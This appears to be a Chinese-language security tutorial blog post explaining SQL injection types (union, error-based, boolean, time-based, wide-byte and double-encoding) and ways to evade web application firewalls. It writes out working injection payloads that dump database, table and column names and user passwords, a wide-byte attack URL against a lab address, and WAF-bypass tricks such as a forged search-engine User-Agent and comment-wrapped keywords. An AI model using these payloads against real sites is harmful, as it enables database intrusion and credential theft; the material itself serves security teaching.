sql注入类型、步骤以及绕waf注入实例讲解

一、SQL注入:SQL注入就是是一种将SQL语句插入或添加到应用(用户)的输入

参数中的攻击,之后再将这些参数传递给后台的SQL服务器加以解析并执行。

最终使用户可控的输入被带入到了数据库中进行执行。

1.1存在SQL注入的地方大致有:

lGet

lPost

lCookie

lhttp头部

1.2 SQL注入的基本类型

lUnion联合查询注入

l基于报错注入(extractvalue(arg1,arg2),updatexml,floor)

l基于布尔类型注入

l基于时间的注入 — sleep(arg1), benchmark(arg1,arg2)

l宽字节注入,二次编码注入 (%df%23, %2527)、

分类介绍:

1.2.1 Union联合查询注入:需要的条件

1.union必须由两条或两条以上的SELECT语句组成

2.union中的每个查询必须包含相同的列

3.union会从查询结果集中自动去除了重复行。

4.union注入使用的前提是页面要有显示位。这个也是一个union的缺点或者说是限制。

Union联合查询注入大致步骤:

1.判断列数 — 通过 order by n;

2.判断显示位 — id =-1 union select 1,2,3………..

3.爆库

id=-1’UNION SELECT 1,(SELECT schema_name FROM information_schema.schemata LIMIT 0,1),3–

id=-1′ UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata–

4.爆表

id=-1′ UNION SELECT 1,(SELECT table_name FROM information_schema.tables WHERE table_schema=’security’ LIMIT 0,1),3–

小计:数据库名称可以用十六进制来代替字符串,这样可以绕过单引号的限制,也可以直接从数据库查询的语句取出来表的名

5.暴字段

id=-1′ UNION SELECT 1,(SELECT column_name FROM information_schema.columns WHERE table_schema=’security’ AND table_name=’users’ LIMIT 0,1),3–

6.暴数据

id=-1′ UNION SELECT 1,(SELECT username FROM security.users LIMIT 0,1),3–

1.2.2 报错注入

1.报错注入就是构造让信息通过错误提示回显出来,

前提:页面上没有显示位,但是需要执行SQl语句输出错误信息

1.1通过extractvalue(arg1,arg2)报错

通过updateXML(arg1,arg2,arg3)报错

通过floor(arg1)报错

1.2 步骤 :

1.查询数据库名字

1’and extractvalue(1,concat(0x74,(select database()),0x7e#

2. 查看数据库有哪些表

1’and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database()) limit 0,1),0x7e)#

3,查看表右哪些列名

1’and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name=’users’limit 0,1),0x7e))#

4,最后查看数据

1’and extractvalue(1,concat(0x7e,(select password from users limit 0,1),0x7e))#

1.2.3 基于布尔类型的注入

页面上不需要显示位,也没有输出错误信息,只能通过页面返回是否正常

exists( )函数:

exists 用于检查子查询是否只要会返回一行数据,该子查询实际上并不返回任何数据,而是返回True或False

ascii( )函数:

返回字符串str的最左面字符的ASCII代码值。如果str是空字符串,返回0。

查寻步骤同上面的一样,只不过需要获取结果的ascii值。来进行查询字符

1.2.4 时间注入

原理:正确的sql语句和错误的sql语句返回的时间不一样,依此来判断查询结果的正确性,但是要耗费大量时间。

Sleep(arg) arg中断的时间,

Select if(1=1,sleep( 5),0),结果页面延迟5秒显示,如果判断错误,则直接显示0,不进行等待5秒,

例如:select first_name,last_name from users where user_id=’2′ and if((ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)))>150,sleep(3),0);

// 表示当前库的第二个表名的第一个字符的ascii码值大于150,就延迟3秒返回结果,若小于150 ,直接返回结果,不执行sleep()函数;

1.2.5宽字节注入 && 二次编码注入

1.宽字节注入主要是编码转换的问题的注入

2.当提交id=1’and 1=1%23后,引号会被转义为1\’,显然这是失败的注入,。因为单引号被转义导致没有闭合前面的单引号。但是我们在提交id=1%df’and 1%23 后,单引号会转义成\’–%5c和前面的%df结合通过gbk编码得到一个汉字,这时后面的单引号会闭合前面的单引号,形成完整的sql查询语句,

例如:

https://192.168.31.133/shiyan/kzj.phpid=2%df%27 and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name=(select table_name from information_schema.tables where table_schema=database() limit 1,1)),0x7e))%23

// 表示的是根据表名,把对应表下面的列字段全部根据错误注入的返回暴出。

二次编码:形如id=2%2527, 先把%25编码为%和后面的27结合为%27 ,就是单引号。

二、绕过WAF注入

1.什么是waf

WAF全称Web Application Firewall,是部署在web服务器前面保护网站应用抵御来自外部和内部的攻击。通俗点讲就是网页服务器的专门保镖

2.WAF分类

1硬件waf ->服务器 性能更加强大,里面的核心原理还是规则匹配,

2云waf->百度加速乐,域名解析权限给云。

3代码waf -> ModSecurity

4软件WAF -> 安全狗

3.waf三个基本步骤: 身份认证 数据包解析 规则匹配。

4.Waf的检测主要有三个阶段:

1.首先进行身份验证,白名单的直接给服务器,废白名单的要去进行数据包的解析,

2.无法解析数据包的将丢弃给服务器处理,正常解析的去进行规则判断。

3.符合规则的给服务器,不符合规则的将进行拦截。

5.怎么绕过waf

1.身份认证的绕过

WAF是有一个白名单的,在白名单内的客户请求将不做检测

1.1伪造搜索引擎

早些版本的安全狗是有这个漏洞的,就是把User-Agent修改为搜索引擎便可以绕过,进行sql注入等攻击

1.2伪造白名单特殊目录

1.3直接攻击源站

这个方法的原理通过DNS解析到云WAF,访问网站的流量要经过指定的DNS服务器解析,然后进入WAF节点进行过滤,最后访问原始服务器,如果能通过一些手段找到原始的服务器地址,便可以绕过.

2.数据包解析的绕过

2.1编码绕过

进行urlencode

2.2修改请求方式绕过

有时候WAF对GET进行了过滤,但是Cookie甚至POST参数却没有检测。

WAF在这里主要是针对一些特殊的关键词或者用法进行检测。可以用cookie中转注入。

3.规则匹配的绕过

3.1特殊字符替换空格

3.2特殊字符拼接

把特殊字符拼接起来绕过WAF的检测,比如在Mysql中,可以利用注释/**/来绕过,

3)注释包含关键字

在mysql中,可以利用/*!*/包含关键词进行绕过。

(0)
上一篇 2022年3月21日
下一篇 2022年3月21日

相关推荐